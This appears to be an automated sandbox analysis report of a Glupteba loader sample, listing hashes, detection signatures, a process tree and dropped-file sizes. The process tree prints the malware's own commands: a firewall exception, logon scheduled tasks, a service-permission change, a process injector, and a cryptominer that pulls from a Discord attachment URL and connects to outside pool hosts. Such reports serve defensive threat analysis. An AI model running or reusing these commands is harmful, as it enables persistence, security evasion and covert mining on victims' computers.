Analysis
-
max time kernel
0s -
max time network
28s -
platform
windows10-1703_x64 -
resource
win10-20231129-en -
resource tags
-
submitted
11/12/2023, 04:59
General
-
Target
6958e74522e1d86b8e3b73cdb681447eae4a5bab6dd97a6c0c0153c382d90b3d.exe
-
Size
4.2MB
-
MD5
45eec8d12210c572ec033d575405018c
-
SHA1
4cd5ee7da1a3b807118d5bb3ce5614d6e040c87d
-
SHA256
6958e74522e1d86b8e3b73cdb681447eae4a5bab6dd97a6c0c0153c382d90b3d
-
SHA512
9c59d9531e797c0044310315144d4c8f0beba93b7a9507346195a195ab186b2fd8f336f33bb3cb78c8d21d0dfe7cba0175264cf47faac5db408be38b476eace2
-
SSDEEP
98304:dKv1C+tL8bOgtyhSBJ0Dk949yFwC5yHimgK0boziTd+eJXDhivIjlRa:mCC8bOjhSBqDJYZJNK0/+ejha
Malware Config
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 7 IoCs
-
Modifies Windows Firewall 1 TTPs 1 IoCs
-
UPX packed file 14 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes
-
C:\Users\Admin\AppData\Local\Temp\6958e74522e1d86b8e3b73cdb681447eae4a5bab6dd97a6c0c0153c382d90b3d.exe"C:\Users\Admin\AppData\Local\Temp\6958e74522e1d86b8e3b73cdb681447eae4a5bab6dd97a6c0c0153c382d90b3d.exe"1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\6958e74522e1d86b8e3b73cdb681447eae4a5bab6dd97a6c0c0153c382d90b3d.exe"C:\Users\Admin\AppData\Local\Temp\6958e74522e1d86b8e3b73cdb681447eae4a5bab6dd97a6c0c0153c382d90b3d.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=uiGheigee2Wuisoh -m=https://cdn.discordapp.com/attachments/1176914652060459101/1177177956087504956/xDYNmhJEPV -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe -hide 19205⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exeC:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id b0a5dd65-a379-4c2e-b048-76076df4dc1d --tls --nicehash -o showlock.net:443 --rig-id b0a5dd65-a379-4c2e-b048-76076df4dc1d --tls --nicehash -o showlock.net:80 --rig-id b0a5dd65-a379-4c2e-b048-76076df4dc1d --nicehash --http-port 3433 --http-access-token b0a5dd65-a379-4c2e-b048-76076df4dc1d --randomx-wrmsr=-15⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\a4f5f1769e9bfd6c4510d7b73aa3332f.exeC:\Users\Admin\AppData\Local\Temp\csrss\a4f5f1769e9bfd6c4510d7b73aa3332f.exe4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeC:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe4⤵
-
-
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes1⤵
- Modifies Windows Firewall
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)1⤵
- Launches sc.exe
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
1KB
MD55c69f9f5676eaa4fcf37be7c2ec54e07
SHA1a3beabbaea86bd3797f8b6e13f06e97cdbf39c1a
SHA25689d26ecb5a954de2efd442b7b11ec2b76ef3d41450ea5e42780289a7c12c3bd2
SHA512485d17c5b71f2d45cdfd81423c265a879904e47795fadfc6ed08b593e46d1eda7ca45ad268ed657b512223a31d03b405e02036d4d06c4af96db0e760f2574666
-
Filesize
61KB
MD51c07696f6c939be2a2f7a343be40b7c8
SHA11d7b14f7d242e46cffa2e71d6940874cdae19bdb
SHA2562dca4fd706e569aeeeec531f2e6e2395d656f107fc3ff8afe3d974ff1c9d2898
SHA5126e9a2505d69884cc9f1410e51c95ddb58d9c398853f513e2eb901bba3aec55bd54e755488fe92bc58408dbb813a37b9fc5b59173fd0ed3d4d1cfc733fe127c49
-
Filesize
28KB
MD5e5222c6ed39902c845c4fc354d68f39c
SHA184db6a360f542b9a9638a0269f5346da6abf818a
SHA25637e43da3986fa2f2263aa37f8e832c9cbe56387b2e9a20e3f6ffe36d76e6069f
SHA5120f3e105a9d230ddef1bcd745e898c1a7205ca3ba9285d563b724b47bf13eb2972edb30502bad0d0f261199f4bf54f07b8d32d8c84bbbfeeeec003c651b101062
-
Filesize
1KB
MD55c23c6ed17cff328a38f780812ee44cc
SHA1fc2688a1eff325d1da7344c881a39c6159882017
SHA2560949d39281dac5ada71384f084dbba01c9948bb9f7c95c9b9296ce54ee86fb43
SHA5124d0a88939e2619cfd584c190a60c1ca5d2d11dab5201c6ca5f7ea879099662d3d220706388fd4d743f0992dcd568ba29e045c8872b5b92fa41a255a8e6229003
-
Filesize
1KB
MD55581ea2994a6f86fe952bc3b14d0d148
SHA1102622849fcc01bd797a51427d8b4ab8f2766bba
SHA256d10454d046ae75f6988ceeaa25b60ba620fc343d42dd9626fa9ce0c1228c6857
SHA512b1480299bff650fe1fd60077280f3a3f582e33925c20bcaf4a500a06269677efed865db92be87032393d8a0fac29e6cc78cf9dee9a40df2d9b5392902e6af3af
-
Filesize
64KB
MD5a0ab2251d3ceb1349776ff3642e807bb
SHA13a3c78a26b87b9cfc0b9605e94e03eccb288426d
SHA2565b1fffd5f6d7e45458ced266a096de2d1b9af84f71c0bc97b0d2b64a317ae391
SHA512bb11a89847dc5e9c874453df71dfc8089bbe46c2f7b5079543eb0a686fd4c3dcf468a0aba4f156d6fe193d15552a55b9d1cba58fa82cb59e863c4cda82159ea2
-
Filesize
1KB
MD5354e9fef8093169ab558b3f20c4bf81a
SHA1b2293505f7519daa90aecd20a1e3b236f74be983
SHA256ef8aab456cd4812c46735b308aa6e30d679289b8f2859c0afd0e9118c180f7a5
SHA5129c26b8026958b65233a568675bd0eb4ca589289200fd198eb15f574bf69273212eff684011bfb048a3af659fdf7395871e1b6666e36e83b471f67335d5ba5b27
-
Filesize
9KB
MD577380f065d294c799abcacbf05eb4138
SHA18a83a8e4f9d0b368a50ecee7064ffac9f798a95a
SHA256381738e9235fb9b590f674e8ea49017dfc26ae4195a0ed80fc9907208f8bf606
SHA5120f52f50d6238231c72375c5d514359cf5885222cc57dd66a58b86459df0069b4fc741547aa95eb7f896dd5e109c8f15d7164ae0ace5b634926a431dce1c8241b
-
Filesize
2KB
MD51c19c16e21c97ed42d5beabc93391fc5
SHA18ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA2561bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
SHA5127d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
-
Filesize
18KB
MD5ed2ea595025851caff98c748701b907a
SHA18b542cfbc83587e0ec70107cfb1aaf5e75e94a91
SHA25675fc6d589f8e80bcf6f66ec466b041a06ebbb4f78ef378cbc7c00d1acf4944de
SHA512e7735ec889cc62d1c7f529255514ba8694d9fa63325ec90f84e44b346782c39acf3865dedf9f3b865c8cf6f4c0f34fba3dd15a8b9e1095ad81c871512e6a7e7c
-
Filesize
18KB
MD539de18958a61a35a00f5719980cc70e4
SHA1f3586cd190ad6517c50b25f3e7587e6d767812a5
SHA25611cd853f2c9c3e5302415de62f8f15c57c5dd660560ad43a6460e92dd97d81e6
SHA512fdf188d288968306569e033e9c83e8e41ca954ad36cb0d4ab0bd546ef3883f91f9e0b4f4f82e7e30ec3d29d82760bcb49c990d14c21703c28001efe5f28352d5
-
Filesize
18KB
MD5652677d772f331286d10117b70bc5b9b
SHA155645f378b23f96b82e86c35f793a565bcaf6018
SHA256e38a63e7eb1cfeba28b7646b7f225dc3e795458297539f0e33c2529f8a9eaef6
SHA512a2166a4cd313662904623adc12a579745d96b918eedb60cd5c71e1971db4d79440c15a2cfb5af4a0df5f40b227ac9d905cdaf96cb51af4214710716b9e61ff37
-
Filesize
18KB
MD5f97bc38ab45310367cfeb2d7fcbbbf71
SHA1302e2b9c5b69209249d020f40bca5a3603076912
SHA256c6e10c2e427ad3775758ee58c68cf2cce93ee42e882cac7fa425b80c24751bd3
SHA51219f7cb1f9455504eba49523b1e6c52722e19ed615dffc4ac25837aec1acb9de4ec1044f00f00c8e95bebb210cb67776e8281e8e7bb076532601c9b8d08986b48
-
Filesize
16KB
MD50a904dd8dce68cd34c3ed2378059fd2b
SHA15c2c09fad4b4808439fd06ddd544ff21bcd05438
SHA25663d24c275a3e43054528a4e544117cdfdc4d7d7562d16a2d4b4b67100d9d879e
SHA512bab5f278b899c06237a5990655a2c7b1e44f17e44e4087412686e2b263f0567df831d45abed24c938ff15e9311cc360248d1338524aa5d5da83b29bb82f655de
-
Filesize
4KB
MD583ec5e9046b6609161f9517d858a89e9
SHA19fc6d8658f6e87459ff80a44a532731bfd7afc09
SHA2561edba591980ffbb09cafb81a88880e655abc16ca20ab601d60fdc50a1bdb4fed
SHA512e77ce3f4923366107bfba17915cfa9d8694edeacb850516c52a825b7fdf1fd987605904e68644bf731c388e934b87b516ea7439b380faafcd6483212f220e45d
-
Filesize
14KB
MD5ebfb8b59e8612d0edfce0519844eba2d
SHA1c05b3bb10ed70ba97a9f8426068b2fd6738ab7b4
SHA2563fc7dc53228c71d5f7b9bafd83deb781db9077fe65019ba77ff8f26309dda2a4
SHA51259307ad94dc9f61f145a8f4dc1175c3d91bedb32da17cce009fe102878f6d3b4f052c11d95aac55b5213d4972363bc1bd6530e67a9f36fc07b0ebb32ef317ba3
-
Filesize
18KB
MD5864a59cfdc84142d99bbf547d5f42a8e
SHA158acd6e7d49be44a9e8affd6970835b8525c4ad2
SHA256b9df68573114d82a24409726697186be19280cf5decc5e278aea2f2488805423
SHA5127388458d5f22c231c1bd5a6b877155f1d5d8713f429ba5c9c08adb07e986acba22a518db3e921a4463f99853a90de0e052454c06c58df61dceb73fe23fa178df
-
Filesize
1KB
MD5306b8d1315a46d63bb5c7c8e81aeecd8
SHA153664b5cc1f688e3f03638a3e808570ac32eb084
SHA256c37533949439c4e6266417364fc79d617d4d575cbbb4adce0f06e51f4542d625
SHA512f89db8a91a99cdea0befb767f7d1c0b2f58c6a1bd36866529708ef3c1588fa3358ca8bc85020e13a61162d3a79bf7e0ab4be2802eeb3818524528fe0f2853801
-
Filesize
48KB
MD5d021bc811f0cc8f573d0b66d4950f167
SHA14f871d2e0d77fa99c4980e03c96bb7ff1faf89c5
SHA256211e957ce9ecd46a4c4c0bf1d3f355d086119bb5e8250efc8a4137399317def8
SHA51221cf094e81b82ab61e891e4cff37c8c47018b522309a3c77f959abdc09621f3de0b309f68bbf7ab3333297cd4b8b9a6d8dbe8bf35475564543cb8e543193029c
-
Filesize
45KB
MD50c9ab3f36806ce9adce01489758cf762
SHA17fcd3f4a54eb63455e14807be5950c8b61f102a4
SHA2563676c04ff8c151ee1827ea32b1091b83a44d5a6cd21c3a717a86a1dc1e7c3fb6
SHA5124fb4fc6ba39bfb401f4ae2b5086c55d127b1b4f8702e68db4b98f8b4e12f268dacb4e52b0cb07d3f2859742b75409023ab3d5fedddb1692ff437708cb5479a5d
-
Filesize
64KB
MD5fed2ba51a88aa895b27d43e688b6da8c
SHA19a3adaeb3624d02e7dc804c43663f272b991984c
SHA2567034628ea7ee94ed0e05daf6e39e80e84b7f85f49bbe2b81a8aea6c35983e00a
SHA512c3924bf4c3c6bffbeaed253fc39c96478d63c9d3a8db0a0c54d9221528bb5b601fec718408d82189fc027669367728162e225ca8505b4cf85c744d27c86d6a49
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
64KB
-
Filesize
3.3MB
-
Filesize
64KB
-
Filesize
300KB
-
Filesize
6.9MB
-
Filesize
64KB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
4.0MB
-
Filesize
11.6MB
-
Filesize
4.0MB
-
Filesize
128KB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
4.0MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
11.6MB
-
Filesize
8.9MB
-
Filesize
4.0MB
-
Filesize
8.9MB
-
Filesize
11.6MB
-
Filesize
8.9MB
-
Filesize
11.6MB
-
Filesize
64KB
-
Filesize
3.3MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
6.9MB
-
Filesize
64KB
-
Filesize
300KB
-
Filesize
6.9MB
-
Filesize
6.9MB
-
Filesize
3.3MB
-
Filesize
6.9MB
-
Filesize
64KB
-
Filesize
3.3MB
-
Filesize
64KB
-
Filesize
300KB
-
Filesize
660KB
-
Filesize
300KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
9.3MB
-
Filesize
9.3MB
-
Filesize
4.9MB
-
Filesize
64KB
-
Filesize
204KB
-
Filesize
300KB
-
Filesize
104KB
-
Filesize
6.9MB
-
Filesize
64KB
-
Filesize
216KB
-
Filesize
64KB
-
Filesize
6.9MB
-
Filesize
592KB
-
Filesize
300KB
-
Filesize
112KB
-
Filesize
408KB
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
136KB
-
Filesize
120KB
-
Filesize
472KB
-
Filesize
660KB
-
Filesize
3.3MB
-
Filesize
6.2MB
-
Filesize
240KB
-
Filesize
32KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
64KB
-
Filesize
6.9MB
-
Filesize
6.9MB